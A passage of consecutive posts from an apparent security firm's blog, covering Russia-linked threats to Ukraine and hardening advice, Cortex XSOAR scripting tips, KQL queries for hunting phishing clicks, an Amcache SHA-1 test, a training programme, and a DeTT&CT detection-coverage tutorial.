Phishing emails impersonating the Ukrainian government were seen during a campaign to deliver Cobalt Strike beacons and Go backdoors on the 12th of March. Reported by the Ukraine CERT (CERT-UA) [20], the emails were themed as “critical security updates” and contained links to download a fake AV update package. The 60 MB file was actually a downloader which then connected to a Discord CDN to download a file called one.exe. This being a Cobalt Strike beacon. It also downloads a Go dropper that executes and pulls down two more Go payloads, GraphSteel and GrimPlant. Both of these being backdoors.

CaddyWiper

CaddyWiper was discovered by ESET on March 14th [21] and it is the 4th data wiping malware to be used against Ukraine. It was deployed in the attacks via GPO, this showing that the threat actor already had a major foothold in the environment. It also has functions to cause it to not wipe Domain Controllers, this being the foothold the attackers would lose if destroyed.

Deepfake video

On 16 Mar 2022, Facebook removed a deepfake video of Ukrainian President Zelenskyy asking Ukrainian troops to surrender. The video initially appeared on the compromised website of news channel, Ukraine 24, before it was spread to other compromised websites, such as Segodnya. In response, Zelenskyy published a video of his own, asking Russian troops to surrender instead. [22]

Recommendations

Based on the collective knowledge on adversary groups acting in the interests of the Russian state and the current ongoing events, it is important for organizations to use this momentum to implement a number of critical defenses and harden their overall environment.

Each organization should review their own threat model with regards to the potential threats facing them, however, the below is a good overview to improve your security posture against a variety of (destructive) attacks.

Your external exposure

It is advised to perform a periodic assessment on your external perimeter to identify what systems and services are exposed to the internet. Given the cloud first approach many organizations are taking, it has become less straight forward of identifying what services your organization is exposing to the internet, however, attack surface monitoring solutions can provide an answer to that by looking beyond the scope of your organization IP range.

For all identified services exposed to the internet, ensure:

  • Validate these are actually required to be exposed to the internet;
  • They are up to date with the latest security patches.

For all services for which authentication is required (e.g. VPN solutions, access to your client portal, etc.) it is strongly advised to enforce Multi Factor Authentication (MFA).

Abuse of (privileged) accounts

Once inside your network, threat actors are very frequently seen going after privileged accounts (can be local admin accounts or privileged domain accounts).

In terms of local admin accounts, it is important to ensure these accounts have strong passwords assigned to them, and that no password re-use is performed across different hosts. Each local administrator account as such should have a unique strong password assigned to it. Various tools exist that can support in the automated configuration of these unique passwords for each of these accounts. A good example that can be used is Microsoft’s Local Administrator Password Solution (LAPS).

For privileged domain accounts (e.g. a specific server administrator, the domain administrator or the accounts that have access to your security tooling such as EDR’s), it is strongly advised to implement MFA.

Lateral Movement

Once the adversary has obtained access into the environment, they’ll move laterally to eventually gain access to the critical assets of the organization. The following are a number of key recommendations to help in the prevention of successful lateral movement:

  • Implement network segmentation and restrict the communication flows between segments only to the ones required for business reasons;
  • Configure host-based firewalls to restrict inbound connections (depending on your business, a few questions to ask could be: should I allow inbound SMB on my workstations, should an inbound RDP connection be possible from another workstation, etc.)
  • Harden RDP configuration by:
    • Denying server or Domain Administrator accounts from authenticating to workstations;
    • Enforcing Multi-Factor Authentication (MFA);
    • Where possible, use Remote Credential Guard or Restricted Admin.

In addition to the implementation of key hardening principles, the lateral movement phase of an attack is also an opportunity in which adversaries can be detected. Monitoring should be performed on workstation-to-workstation traffic and authentications, usage of RDP and WMI, as well as commonly used lateral movement tools such as PsExec, WinRM and PS Remoting.

Mandiant has additionally provided guidance on protecting against destructive attacks [20](PDF).

Critical Assets

In several cases, the adversaries have been observed conducting destructive attacks. As a proactive measure, ensure offline backups of your critical assets (such as your Domain Controllers) are created regularly. A frequent overlooked aspect of a backup strategy is the restore tests. On a frequent basis, it should be verified that the backup can effectively be restored to a known good state.

On a final note, given that the majority of systems are virtualized these days, it’s important to ensure the access to your back-end virtualization environment is properly segmented and secured.

Phishing Prevention

A number of the observed attacks that Russia linked threat actors have executed were initiated via a phishing campaign with the goal of stealing user credentials or executing malware on the systems. As such, it is important to verify the hardening settings of your mail infrastructure. Some key elements to take into account are:

  • Enable MFA on all mailboxes;
  • Disable legacy protocols that do not understand MFA and as such would allow an adversary to bypass this security control;
  • Perform sandbox execution of all attachments received via mail;
  • Enable safe links (various mail security provides provide this option) to have the URL checked for phishing markers once the user clicks.

Additionally, it is frequently observed that the adversaries are attempting to have a user enable Macros in the malicious office documents they send. It is advised to review if all users within your environment use Office Macros and whether or not these can be disabled. If Macros are used for business reasons, consider only allowing signed Macros.

DDOS Mitigations

Depending on your organization’s risk profile, there is the potential threat of a DDoS attack, especially following sanctions imposed on Russia in specific sectors. It is advised to investigate and implement DDoS mitigations on critical public-facing assets. Noteworthy is Google’s Project Shield [19], which is “a free service that defends news, human rights and election monitoring sites from DDoS attacks”. Google has recently expanded protection for Ukraine, and is already protecting more than 150 websites hosted in Ukraine.

Crisis & Incident Management

Tabletop exercises are a great way of measuring the crisis & incident management processes & procedures you currently have, and to identify any potential gaps that may be uncovered during a tabletop. Moreover, tabletops are cross-functional and can be used for both leadership, as well as anyone working with incidents on a day to day basis. The results of a tabletop exercise can ultimately be used as a platform to improve the current way of working, or to invest in new resources should there be a need.

About the authors

Bart Parys Bart is a manager at NVISO where he mainly focuses on Threat Intelligence and Malware Analysis. As an experienced consumer, curator and creator of Threat Intelligence, Bart loves to and has written many TI reports on multiple levels such as strategic and operational across a wide variety of sectors and geographies.
Robert Nixon Robert is a manager at NVISO where he specializes in Cyber Threat Intelligence at the tactical, organizational and strategic level. He also is an SME in automation, CTI infrastructure, malware analysis, DFIR, and SIEM integrations/use case development.
Michel Coene Michel is a senior manager at NVISO where he is responsible for our CSIRT & TI services with a key focus on (and very much still enjoys hands on) incident response, digital forensics, malware analysis and threat intelligence.

Our goal is to provide fast, concise and actionable intelligence on critical cyber security incidents. Your comments and feedback are very important to us. Please do not hesitate to reach out to [email protected].

About NVISO

Cortex XSOAR Tips & Tricks

2 March 2022 at 08:55

Introduction

With our Managed Detect and Respond (MDR) service, NVISO provides a managed Security Operations Center (SOC) for a large variety of clients across different industries. Since the beginning of this service, we had an “automate first” principle where we tried to automate as much of the repetitive tasks of the SOC analysts as possible, to allow them to focus on actionable security alerts to faster detect attackers in the environment of our customers.

To achieve this goal, NVISO has implemented Palo Alto Cortex XSOAR as its SOAR platform of choice and branded it as the NITRO platform. Cortex XSOAR is the market leader in security automation platforms and the most capable platform currently available. Additionally to the automated workflows created for its managed SOC, NVISO has developed a range of NITRO services on top of Cortex XSOAR such as adversary emulation, vulnerability management and SIEM use case management.

While developing these solutions on Cortex XSOAR, our R&D and SOAR engineering teams have gained a lot of expertise on the platform which we want to share with you in this blog post series. In each post, we will in detail discuss a technical topic together with code snippets, example playbooks or automations you can use in your own Cortex XSOAR environment.

All content will be available in our NVISO Github:

https://github.com/NVISOsecurity/blogposts/tree/master/CortexXSOAR

All future posts will be added to the following series: https://blog.nviso.eu/series/Cortex-XSOAR-Tips-Tricks/

About the author

Wouter is an expert in the SOAR engineering team in the NVISO SOC. As the lead engineer and development process lead he is responsible for the design, development and deployment of automated analysis workflows created by the SOAR Engineering team to enable the NVISO SOC analyst to faster detect attackers in customers environments. With his experience in cloud and devops, he has enabled the SOAR engineering team to automate the development lifecycle and increase operational stability of the SOAR platform.

You can reach Wouter via his LinkedIn page.

Cortex XSOAR Tips & Tricks – Execute Command Function

2 March 2022 at 08:56

Introduction

When developing the automated SOC workflows for the NVISO Managed SOC and the additional NITRO services on Cortex XSOAR, we have started to make use of automations to do complex tasks instead of playbooks. Automations have much better performances and, if your team has a decent level of Python skills, developing complex tasks in automations can be much easier than playbooks.

When using automations in Cortex XSOAR, the command you will call most often is demisto.executeCommand. This is used to execute available commands from integrations and to call other automations.

To add additional functionality to this command, we have created our own nitro_execute_command wrapper function which is available on the NVISO Github:

https://github.com/NVISOsecurity/blogposts/blob/master/CortexXSOAR/nitro_execute_command.py

nitro_execute_command()

When  using demisto.executeCommand to run commands in an automation, the first issue you will come across is that it does not return an error when the command execution was unsuccessful. The execution status of the command that has run can be find in the Type key of the returned result of demisto.executeCommand:

[
    {
        'ModuleName': 'CustomScripts', 
        'Brand': 'Scripts', 
        'Category': 'automation', 
        'ID': '', 
        'Version': 0, 
        'Type': 1, 
        'Contents': None
    }
]

In our nitro_execute_command function, we loop through all returned results from demisto.executeCommand and check the Type key value. If the value is Error (4), we raise an exception with the error message:

raise Exception(f"Error when executing command: {command} with arguments:{args}: {error_result.get('Contents')}")

Because in certain use cases, you might not want your automation to halt whenever a command was unable to run successfully, we have added a fail_on_error boolean parameter to nitro_execute_command:

nitro_execute_command(command='setIncident', args={'name': 'incident name'}, fail_on_error=False)

To improve the resiliency of our set of automations, we have additionally added retry logic when the execution of a command returns an error. In case of an error, the nitro_execute_command function retries by default 3 times before raising an exception and halting the automation. This can be configured with the retry parameter of nitro_execute_command:

nitro_execute_command(command='setIncident', args={'name': 'incident name'}, retry=5)

We have added this custom function to the CommonServerUserPython automation. This automation is created for user-defined code that is merged into each script and integration during execution. It will allow you to use nitro_execute_command in all your custom automations.

References

https://xsoar.pan.dev/docs/reference/api/demisto-class#executecommand

https://xsoar.pan.dev/docs/reference/scripts/common-server-user-python

About the author

Wouter is an expert in the SOAR engineering team in the NVISO SOC. As the lead engineer and development process lead he is responsible for the design, development and deployment of automated analysis workflows created by the SOAR Engineering team to enable the NVISO SOC analyst to faster detect attackers in customers environments. With his experience in cloud and devops, he has enabled the SOAR engineering team to automate the development lifecycle and increase operational stability of the SOAR platform.

Wouter via his LinkedIn page.

Drilling down on phishing campaigns with UrlClickEvents

4 March 2022 at 11:05

Introduction

On March 2nd 2022, I observed a new Advanced Hunting table in Microsoft 365 Defender: UrlClickEvents

Figure 1 – UrlClickEvents table

At time of writing, this table is not yet present in every Office 365 tenant, and the official documentation does not contain information about it. A quick peak at the events it contains shows that it logs URLs on which users clicked from Office applications, such as Outlook and Teams. It also logs if the click was allowed or blocked by Safe links, and if the user clicked through the potential warning page (if this setting is configured in Safe Links).

Here is the table format:

  • Timestamp: the timestamp at which the user clicked on the link;
  • Url: the URL that was clicked on by the user;
  • ActionType: indicates whether the click was allowed by Safe Links or not (values observed: ClickAllowed, ClickBlocked, UrlErrorPage, ClickBlockedByTenantPolicy);
  • AccountUpn: the User Principal Name of the account that clicked on the link;
  • Workload: the application from which the user clicked on the link (values observed: Email, Office, Teams);
  • NetworkMessageId: the unique identifier for the email that contains the clicked link, generated by Microsoft 365;
  • IPAddress: public IP address from which the user clicked on the link;
  • IsClickedThrough: indicates whether the user clicked through the potential Safe Links warning page (if this setting is configured in Safe Links);
  • UrlChain: appears to contain the list of redirect URLs, from our test data;
  • ReportId: value that “enables lookups for the original records”, according to the official documentation.

While URL clicks were already available in 365 Defender’s Threat Explorer dashboard for investigation (formerly in Office 365 ATP Threat Explorer), the availability of this data in Advanced Hunting opens new opportunities for hunting queries, custom detection rules and investigation.

Hunting Queries

Click on link that contains an unusual port

UrlClickEvents
| where ActionType == "ClickAllowed"
| extend Redirects = (array_length(todynamic(UrlChain))) - 1
| extend ParsedUrl = parse_url(tostring(Url))
| where ParsedUrl.Port !in ("", "443")
| where ParsedUrl.Host !endswith "<yourdomain>"
| project Timestamp, AccountUpn, Workload, NetworkMessageId, Url, Redirects, UrlChain

In this query, the following is performed:

  • Filter on clicks that were allowed by SafeLinks;
  • Store the number of redirect URLs in an array (later displayed in the results);
  • Parse the URL to extract the host, port, path, etc.;
  • Exclude URLs whose TCP port is empty, or equal to 443;
  • Exclude URLs whose host ends with the domain dame of your organisation (this is to limit false-positive results);
  • Display the results.

Click on link where the host is a public IP address

UrlClickEvents
| where ActionType == "ClickAllowed"
| extend Redirects = (array_length(todynamic(UrlChain))) - 1
| extend ParsedUrl = parse_url(tostring(Url))
| where ipv4_is_private(tostring(ParsedUrl.Host)) == False
| project Timestamp, AccountUpn, Workload, NetworkMessageId, Url, Redirects, UrlChain

In this query, the following is performed:

  • Filter on clicks that were allowed by SafeLinks;
  • Store the number of redirect URLs in an array (later displayed in the results);
  • Parse the URL to extract the host, port, path, etc.;
  • Filter on URLs where the host is not a private IP address;
  • Display the results.

Custom Detection Rule

Click on link containing your domain name in base64-encoded format

UrlClickEvents
| where ActionType == "ClickAllowed"
| extend Redirects = (array_length(todynamic(UrlChain))) - 1
| where Redirects > 0
| where Url contains "<your_base64_encoded_domain>"
| project Timestamp, AccountUpn, Workload, NetworkMessageId, Url, Redirects, UrlChain

In this query, the following is performed:

  • Filter on clicks that were allowed by SafeLinks;
  • Store the number of redirect URLs in an array (later displayed in the results);
  • Filter on URLs which redirected the user at least once to another URL (as is often the case in phishing campaigns);
  • Filter on URLs which contain your organization’s domain name in base64-encoded format (as phishing URLs often contain the recipient’s email address in base64-encoded format);
  • Display the results.

Investigation Query (emails)

UrlClickEvents
| <your conditions>
| project Click_Time = Timestamp, NetworkMessageId, Clicked_Url = Url
| join EmailEvents on NetworkMessageId
| project Delivery_Time = Timestamp,  Click_Time, Clicked_Url, RecipientEmailAddress, SenderMailFromAddress, SenderFromAddress, SenderDisplayName, Subject, AttachmentCount, UrlCount

In this query, the following is performed:

  • Filter the UrlClickEvents logs using your conditions, depending on the investigation;
  • Rename columns for better comprehension in the final results, and project the necessary value (NetworkMessageId) used for the future Join operation;
  • Join the EmailEvents table to display additional information for each URL click (e.g. email delivery time, sender details, subject, etc.);
  • Display the results.

Conclusion

This new UrlClickEvents table is an additional tool SOC and threat hunting teams can use to detect phishing campaigns missed by built-in technologies, through hunting and custom detection rules. Additionally, this will help incident responders flag users who accessed phishing links faster than by using Microsoft 365 Defender’s GUI, especially for extensive phishing campaigns.

About the author

Thibaut Flochon
Thibaut is an intrusion analyst within NVISO’s CSIRT & SOC team. He enjoys investigating security incidents, writing detection rules, and talking about preventive security controls.

Amcache contains SHA-1 Hash – It Depends!

7 March 2022 at 09:00

If you read about the Amcache registry hive and what information it contains, you will find a lot of references that it contains the SHA-1 hash of the file in the corresponding registry entry. Now that especially comes in handy if files are deleted from disk. You can use the SHA-1 extracted from the Amcache to search indicator of compromise lists or simply on the internet in general.

I recently came across a discussion, where someone was asking about an explanation of SHA-1 hashes recorded in Amcache not matching the SHA-1 hash of the actual files. Another person claimed that this can happen, as the SHA-1 hash in Amcache is only calculated for the first 31,457,280 bytes (about 31.4 MB) of large files. Well time to take this to a test.

The Amcache registry hive is typically used in investigations to gain knowledge on executed files. It can be found at the following path: C:\Windows\AppCompat\Programs\Amcache.hve

The executables of 7-Zip and RegistryExplorer were chosen to be candidates for testing. Let’s start by calculating their SHA-1 hashes on disk:

Figure 1: Calculating SHA-1 hashes for files on disk

As you can see, the files have the following SHA-1 hash values:

File name SHA-1 hash
7z.exe 1189CEBEB8FFED7316F98B895FF949A726F4026F
RegistryExplorer.exe E50B8FA6F73F76490818B19614EE8AEFD0AA7A49
Table 1: SHA-1 hashes on disk

If we now execute both files and afterwards acquire the Amcache hive, we can have a look at the recorded values. In this test KAPE was used to acquire the Amcache and Registry Explorer to open it.

Figure 2: Amcache.hve: Root\InventoryApplicationFile\7z.exe|afe683e0fa522625

By reviewing the FileId value and removing the prefix ‘0000’, we can see that this actually is the SHA-1 hash value of the file on disk. But the size of the 7z.exe file is below 31,457,280 bytes.

Figure 3: Amcache.hve: Root\InventoryApplicationFile\registryexplorer|54c8640d4bd6cc38

Doing the same exercise again for RegistryExplorer.exe leads to an expected SHA-1 hash value of: 0f487a4beec16dba123cbc860638223abb51d432 . That value clearly does not match the SHA-1 hash we calculated earlier. The RegistryExplorer.exe file has a file size larger than 31,457,280 bytes.

So if it is true, that the SHA-1 stored in Amcache is calculated at max on the first 31,457,280 bytes of a file, we should be able to get the same result as above.

Figure 4: Getting SHA-1 hash of first 31,457,280 bytes

Above you can see how the dd command was used to get a file containing only the bytes that should be considered for the hash calculation of the Amcache entry. The hashes for both the original file and the stripped file are shown as well.

Putting this all next to each other:

File SHA-1 hash value
Original on disk E50B8FA6F73F76490818B19614EE8AEFD0AA7A49
Amcache entry 0f487a4beec16dba123cbc860638223abb51d432
Stripped file on disk 0f487a4beec16dba123cbc860638223abb51d432
Table 2: Comparing SHA-1 hashes for RegistryExplorer.exe

The SHA-1 hash of the first 31,457,280 bytes matches what is recorded in Amcache. I tested this on Windows 10 and Windows 8, both 64 bit versions, showing exactly the same behaviour.

Conclusion

The testing performed shows that the Amcache records a SHA-1 hash for files, but for larger files only for the first 31,457,280 bytes. This also means that taking the SHA-1 hash from Amcache and search it online has its limitations. The size of the file needs to be taken into account.

Two very basic sayings in digital forensics and incident response have been proven right:

It depends!

Always validate!

About the Author

Olaf Schwarz is a Senior Incident Response Consultant at NVISO. You can find Olaf on Twitter and LinkedIn.

You can follow NVISO Labs on Twitter to stay up to date on all out future research and publications.

Keep on running ahead: NVISO’s Training Program

8 March 2022 at 09:00

NVISO is a pure-play specialist in cyber security: with specialists in every area of cyber security, we do everything cyber security and only cyber security. We are known for our customer dedication and our reputation for expertise.

Therefore, when you work for NVISO, we invest heavily in your personal development: to ensure you reach your full potential as a top class cyber security specialist. Expectations are high, but we equip you with the tools, know-how and the faith in your own skills to reach that high standard and guarantee the client’s satisfaction.

We value your personal growth 

Technology and cyber security are changing fast, but thanks to NVISO’s comprehensive training programme, we make sure that you are confident and always ahead of the game. At NVISO we have created a strong learning climate which we have formalised by offering all employees a training budget of 10 000 euros and 10 mandays for every two years. 

Continuous learning through online training platforms 

How to spend that training budget wisely? Well, first of all, NVISO encourages continuous growth by offering employees access to various online training platforms. These platforms challenge you to take your cyber security skills to a next level in a hands-on, gamified and close-to-real-life environment. This way, we keep learning at NVISO practical and engaging.

Hack The Box offers a gigantic pool of virtual penetration testing labs and pro labs setup which simulate a fictional company environment to infiltrate. This allows you to level up your penetration testing and offensive engagement skills, keeping you up to date on the latest attack paths and exploit techniques. 

Hack The Box is where it all started for me in the field of infosec. The main question people usually have about hacking is: “Where do I begin?”. For me, that was also a very difficult question to answer.

Until I came across Hack The Box. Slowly working through retired boxes using walkthrough videos from experienced people like Ippsec allowed me to build a solid base in a wide range of technologies. From there on, moving on to more advanced boxes and eventually pro labs, which simulate a real-life active directory network, was the icing on the cake for me. Furthermore, the platform keeps on growing and continuously adds new features!

At NVISO, we decided to get more out of Hack The Box by holding “Hack for pizza  Nights”. Every other Tuesday, we order food, get some beers, and gather in a group session to crack one or more boxes as a team in our own dedicated lab environment. These game nights allow everyone to learn new techniques and to have some fun with colleagues. Furthermore, NVISO provides new team members access to the Hack The Box Academy, in which they  complete modules and follow tracks focused on a specific topic (e.g. Active Directory, Web pentesting, Cryptography…). This way, new NVISO-members build a strong knowledge base in these subjects.

Firat Acar (Consultant, NVISO Germany)

Secure Code Warrior brings a gamified approach to secure coding. It provides an engaging platform for identifying vulnerabilities inside various coding languages and fixing them. This empowers you to understand the struggles of developers during assessment-driven and threat modelling projects.

Immersive Labs offers– red team or blue team – challenges that place you within real-life cybersecurity scenarios, to keep you in touch with the latest tools and attack techniques. By solving each challenge, you become better prepared to tackle emerging cyber security threats.

We keep learning fun

Learning at NVISO is not only engaging, we keep it fun as well. Every other Tuesday (unless the current regulations dictate otherwise of course), we gather up for our “hack for pizza nights”. During these game nights, we enjoy pizza and beers and hack some boxes together.

In addition, we’re always excited for a good old game of “capture the flag”. In these competitions organized by Hack The Box, we compete with other teams to solve a number of challenges in order to collect flags. The team that collects the most flags the fastest, wins the competition. One of the most fun and engaging ways to enhance your cyber security skills.

SANS Institute: A unique learning opportunity 

NVISO trainings budget also gives you the unique opportunity to participate in the highly renowned SANS-courses. These high-quality and trusted training courses will empower you with the practical skills and knowledge you need to become a top cyber security expert in your area of expertise. Maybe you will meet one of your colleagues in front of the classroom, as the NVISO staff counts several SANS Institute senior instructors and course authors amongst them, who share their expertise with the cyber security world.

DeTT&CT : Mapping detection to MITRE ATT&CK 

9 March 2022 at 09:36

Introduction

Building detection is a complex task, especially with a constantly increasing amount of data sources. Keeping track of these data sources and their appropriate detection rules or avoiding duplicate detection rules covering the same techniques can give a hard time to detection engineers.

For a SOC, it is crucial to have an good overview and a clear understanding of its actual visibility and detection coverage in order to identify gaps, prioritize the development of new detection rules or onboard new data sources.

In this blog post, we will learn how DeTT&CT can help you build, maintain and score your visibility and detection coverage.

We will first talk about MITRE ATT&CK, which is a knowledge base of adversary TTPs (Tactics, Techniques and Procedures) and its “Navigator”, a matrix that visually describes adversary TTPs. Then, we will cover the structure and functionalities of DeTT&CT. Lastly, we will walk through the different steps to start documenting your own detection coverage.


ATT&CK

MITRE ATT&CK is a knowledge base of adversary TTPs based on real-world observations and used by adversaries against enterprise networks. While ATT&CK does cover some tools and software used by attackers, the focus of the framework is on how adversaries interact with systems to accomplish their objectives.

ATT&CK contains a set of techniques and sub-techniques organized into a set of tactics. Tactics represent the “why” of an ATT&CK technique, the adversary’s tactical objective for a particular action. Such tactical objective can be to gain initial access, achieve persistence, move laterally, exfiltrate data, and so on.

Techniques and sub-techniques represent “how” an adversary achieves a tactical objective. As an example, an adversary may create a new Windows service to repeatedly execute malicious payloads and to persist even after a reboot. There are many ways or techniques to achieve a tactical objective.

These tactics and techniques are represented in a matrix containing, at the time of writing, 14 tactics and 188 techniques.

Figure 1: MITRE ATT&CK matrix

Nowadays, MITRE ATT&CK is firmly established with security professionals and forms a common vocabulary both for offense and defense. Adversary emulation teams use it to plan engagements and create scenarios based on realistic techniques used by real-world adversaries, detection teams use ATT&CK to assess their detection coverage and find gaps in their defenses, and cyber threat intelligence (CTI) teams track adversaries and threat actor groups by their use of TTPs mapped to the ATT&CK framework.

MITRE ATT&CK™ contains plenty of valuable information on:

  • TTPs (Tactics, Techniques and Procedures)
  • Groups (threat actors)
  • Software (software used by threat actors)
  • Data sources (visibility required for detection)
  • Mitigations

The relationship between these types of information can be visualised using the following diagram:

Figure 2: Relationship of entities within ATT&CK
(Source: https://www.mbsecure.nl/blog/2019/5/dettact-mapping-your-blue-team-to-mitre-attack)

To help us visualise this matrix and highlight TTPs, MITRE provides a web interface called ATT&CK Navigator. There is an online instance allowing you to easily and quickly test its functionalities. But, if you intend to use it for more than testing, we highly recommend to have your own instance.

To install a local instance, clone the GitHub repository and follow the procedure as described in the documentation (https://github.com/mitre-attack/attack-navigator#Install-and-Run).

Figure 3: ATT&CK Navigator

Even though we could use the ATT&CK Navigator to document our detection coverage, it lacks more complex functionalities such as a multi-level scoring, differentiation between visibility and detection and  separation based on platforms and data sources.

This gap is where DeTT&CT comes into play. Let us discover how this tool works and how it can help us build, maintain and score our visibility and detection coverage.


DeTT&CT

Purpose

DeTT&CT stands for Detect Tactics, Techniques & Combat Threats. This framework has been created  at the Cyber Defence Center of Rabobank and is developed and at the time of writing maintained by Marcus Bakker and Ruben Bouman.

The purpose of DeTT&CT is to assist blue teams using MITRE ATT&CK to score and compare data log source quality, visibility coverage and detection coverage. By using this framework, blue teams can quickly detect gaps in the detection or visibility coverage and prioritize the ingest of new log sources.

Functionalities

DeTT&CT delivers a framework than can map the information you have on the entities available in ATT&CK and help you manage your blue teams data, visibility, and detection coverage.

The DeTT&CT framework consists of different components:

  • a Python tool (DeTT&CT CLI)
  • YAML administration files
  • the DeTT&CT Editor (to create and edit the YAML administration files)
  • scoring tables for detections, data sources and visibility

DeTT&CT CLI is a python script (dettect.py) that works with six different modes:

  • editor: start DeTT&CT editor web interface
  • datasource (ds): data source mapping and quality
  • visibility (v): visibility coverage mapping based on techniques and data sources
  • detection (d): detection coverage mapping based on techniques
  • group (g): threat actor group mapping
  • generic (ge): includes: statistics on ATT&CK data source and updates on techniques, groups and software

You can either use the command line interface or launch the editor to create and manage the different YAML administration files.

The DeTT&CT Framework uses YAML files to administer data sources, visibility, techniques and groups. The following file types can be identified:

  • Data sources administration
  • Technique administration (visibility and detection coverage)
  • Groups administration

We will talk about these administration files in a bit.

You can find administration file sample in the Github repository.

One of the first step in using DeTT&CT is making an inventory of your data sources by scoring the data quality.

Data sources

Data sources are the raw logs or events generated by systems, e.g., security appliances, network devices, and endpoints. ATT&CK has over 30 different data sources which are further divided into over 90 data components. All those data components are included in this framework. These data sources are administered within the data source administration YAML file. For each data source, among others, the data quality can be scored. Within ATT&CK, these data sources are listed within the techniques themselves (e.g. T1003 in the Detection section).

Figure 4: ATT&CK Data source example

The data source scoring is based on multiple criteria from the data quality scoring table:

  • Data completeness
  • Data field completeness
  • Timeliness
  • Consistency
  • Retention
Figure 5: Data source quality scoring table

Visibility

Visibility is used within DeTT&CT to indicate if you have sufficient data sources with sufficient quality available to be able to capture evidence for activities associated with ATT&CK techniques. Visibility is necessary to perform incident response, execute hunting investigations and build detections. Within DeTT&CT you can score the visibility coverage per ATT&CK technique. The visibility scores are administered in the technique administration YAML file.

Visibility scores are rated from 0 to 4:

Figure 6: Visibility scoring table

Detection

Only when you have the right data sources with adequate data quality and available to you for data analytics, your visibility can be used to create new detections for ATT&CK techniques. Detections often trigger alerts and are hence followed up on by your blue team. Scoring and administering your detections is also done in the technique administration YAML file.

Detection scores are rated from -1 to 5:

Figure 7: Detection scoring table

You can assess the score of a detection based on the following table:

Figure 8: Detection scoring details

Practice 

Let us now walk through the different steps to build detection coverage and perform gap analysis against a threat actor group. First, we need to install DeTT&CT.

Installation

You can easily install DeTT&CT, either using an image from Docker Hub or installing it locally. As for ATT&CK Navigator, we strongly suggest installing DeTT&CT locally if you are documenting your own organization’s detection coverage.

To install it locally, clone the repo from Github and install the required packages. You also need to have Python 3.6 or higher.

Installation

To install DeTT&CT, run the following commands:

git clone https://github.com/rabobank-cdc/DeTTECT.gitcd DeTTECT
pip install -r requirements.txt

Once it is installed, you can either use the command line interface or launch the DeTT&CT Editor.

To launch DeTT&CT Editor, type in the following command:

python3 dettect.py e
  • e: start DeTT&CT editor locally
Figure 9: Launching DeTT&CT Editor

This will automatically launch a web browser the editor interface.

Figure 10: DeTT&CT Editor interface

Data source coverage

ATT&CK has over 30 different data sources, which are further divided into over 90 data components. All of the data components are included in this framework.

Using the YAML data source administration file you can administer your data sources and record the following:

  • The date when you registered the entry in DeTT&CT
  • The data when you connected the data source to your security data lake
  • In which product(s) the data resides
  • The type of system(s) the data source applies to
  • A flag to indicate if the data source can be used in data analytics
  • A possible comment
  • Data quality

In addition to the pre-defined fields, you can add further information by using key-value pairs.

Let us first list our data sources using the DeTT&CT Editor.

Go to DeTT&CT Editor, select Data Sources and create a new file.

Figure 11: Configuring data source administration file

Then add data sources according to the data sources that you already have available.

Click “Add data source” and select one data source. MITRE ATT&CK data sources are documented on their website.

For example, let’s say that you have an EDR installed on your Windows and Linux endpoints. This EDR has the capability to monitor processes so we can add Process Creation data source.
Select the date since you are collecting this data source and the date you registered the data source in your data sources YAML file.

Figure 12: Setting up data sources

Keeping track of the dates can help you monitor your data source improvement. To generate a graph based on the data source administration file, you can run the command below:

python dettect.py ds -fd sample-data/data-sources-endpoints.yaml -g
Figure 13: Data sources improvement graph

The same kind of graph can be generated for visibility and detection improvement.

Enabling the switch “Data source enabled” to yes will set all data quality scores to 1. If you want your configuration to be more accurate, you can modify these values according to the data source quality scoring table.

Enable the “Available for data analytics” switch if you centralized logs in a SIEM for example.

You could also add “Process Creation” to your data sources if you collect Sysmon event ID (EID) 1 or Windows EID 4688 events for example.

Let’s add the following data sources to complete our example:

  • Command Execution (Windows EID 4688 of cmd.exe, Powershell logging, bash_history, etc.)
  • Windows Registry Key Creation (EDR, Windows EID 4656 or Sysmon EID 12, etc.)
  • Network Traffic Flow (Netflow, Zeek logs, etc.)

Once you have added all your data sources, save your data source administration file by clicking on “Save YAML file”.

Figure 14: Saving your data source administration file

Now, we are going to convert this YAML file to a JSON file using the DeTT&CT CLI tool and load this JSON file as an ATT&CK layer into ATT&CK Navigator.

python3 dettect.py ds -fd ~/Downloads/data-sources-new.yaml -l

The relevant flags for this command are

  • ds: select data source mode
  • -fd: path to the data source administration YAML file
  • -l: generate a data source layer for the ATT&CK Navigator

Go to the ATT&CK Navigator web page and select Open Existing Layer. Choose “Upload from local” and select the JSON file we just created using the command above.

Figure 15: MITRE ATT&CK Navigator
Figure 16: Data source coverage

This layer represents the MITRE ATT&CK mapping based on the data sources that we specified in our data source administration file.

The colours, as explained in the legend, represent the percentage of data sources available for that particular technique.

Let’s look at some techniques from the Privilege Escalation tactic.

Figure 17: ATT&CK technique example

As an example, the Logon Script (Windows) technique requires the following data source coverage:

  • Windows Registry Key Creation
  • Process Creation
  • Command Execution

Fortunately for us, we already have all three data sources available.

Figure 18: ATT&CK Technique data source coverage

But, the Network Logon Script requires the following data sources:

  • Process Creation
  • Command Execution
  • Active Directory Object Modification
  • File Modification

As we only have 2 data sources available, the ATT&CK layer shows a coverage of 26-50%.

Figure 19: Missing data sources

If you would like to improve the coverage for this particular technique, you would now know which data sources you need to integrate next in your detection.

Using the ATT&CK Navigator, you can also compare this data source layer with a threat analysis ATT&CK layer to spot gaps in your detection based on that threat analysis. You can also compare it to another data source layer to emphasize the benefits of integrating an additional data source in your detection.

Visibility coverage

The next step is to have a good understanding of where we have visibility, the level of visibility and where we lack visibility.

To get started, we can generate a technique administration YAML file based on our data source administration file, which will give us rough visibility scores. By default the argument --yaml will only include techniques in the resulting YAML for which the visibility score is greater than 0. To include all ATT&CK techniques that apply to the platform(s) specified in the data source YAML file, add the argument: --yaml-all-techniques.

python3 dettect.py ds -fd ~/Downloads/data-sources-new.yaml --yaml

or

python3 dettect.py ds -fd ~/Downloads/data-sources-new.yaml --yaml --yaml-all-techniques

The relevant flags for this command are

  • ds: select data source mode
  • -fd: path to the data source administration YAML file
  • --yaml: generate a technique administration YAML file with visibility scores based on the number of available data sources
  • --yaml-all-techniques: includes all ATT&CK techniques in the generated YAML file that apply to the platform(s) specified in the data source YAML file (you need to provide the --yaml argument for this)
Figure 20: Visibility coverage generation

Within the resulting YAML file, you can adjust the visibility score per technique based on expert knowledge or based on the quality of a particular data source.

If you want to easily edit the technique administration YAML file, you can load it using DeTT&CT Editor.

Figure 21: Technique administration file example

Per technique, you can see and edit the rough visibility score assigned based on the data source administration file. If needed, you can assign different score for different platforms such as Windows, Linux, Network, or Cloud.

Figure 22: Technique visibility score

